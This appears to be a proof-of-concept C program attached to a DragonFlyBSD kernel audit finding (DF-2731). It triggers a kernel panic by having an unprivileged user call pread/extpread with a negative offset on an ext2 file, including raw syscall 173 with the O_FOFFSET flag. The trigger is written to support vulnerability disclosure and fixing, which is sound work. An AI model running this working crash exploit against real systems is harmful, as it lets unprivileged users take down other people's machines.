DragonFlyBSD Kernel Audit
DF-2731 / ext2trig.c
← back to finding ↓ download raw
/*
 * DF-2731 trigger: unprivileged pread() at a negative offset on an ext2 file.
 * sys_extpread (sys/kern/sys_generic.c:153-180) hands the raw negative offset
 * to VOP_READ; ext2_read() validates it only with
 *     KASSERT(uio->uio_offset >= 0, ...)   [ext2_vnops.c:1842]
 * which is a kernel panic on INVARIANTS kernels.
 *
 * Build: cc -O -o ext2trig ext2trig.c
 * Run:   ./ext2trig /mnt/df2731/target.txt     (unprivileged)
 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/syscall.h>

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/mnt/df2731/target.txt";
	char buf[8];
	ssize_t r;

	printf("opening %s and issuing pread(fd, buf, 8, -5) ...\n", path);
	r = pread(-999, buf, 8, -5);	/* warm the errno path */
	(void)r;
	int fd = open(path, O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }
	printf("fd=%d, calling pread(fd, buf, 8, -5) as uid %d\n",
	       fd, getuid());
	fflush(stdout);
	r = pread(fd, buf, 8, -5);
	printf("SURVIVED: pread returned %zd errno %d (%s)\n",
	       r, errno, strerror(errno));
	/* also the raw form (kernel arg order: fd, buf, nbyte, FLAGS, OFFSET):
	 * the documented O_FOFFSET flag defeats the offset==-1 file-position
	 * convention, so uio_offset stays -1 and reaches VOP_READ. */
	r = syscall(173 /*SYS_extpread*/, fd, buf, 8, 0, (off_t)-5);
	printf("raw extpread(flags=0, offset=-5) returned %zd errno %d\n", r, errno);
	fflush(stdout);
	r = syscall(173 /*SYS_extpread*/, fd, buf, 8, 0x200000 /*O_FOFFSET*/, (off_t)-1);
	printf("raw extpread(flags=O_FOFFSET, offset=-1) returned %zd errno %d\n", r, errno);
	return 0;
}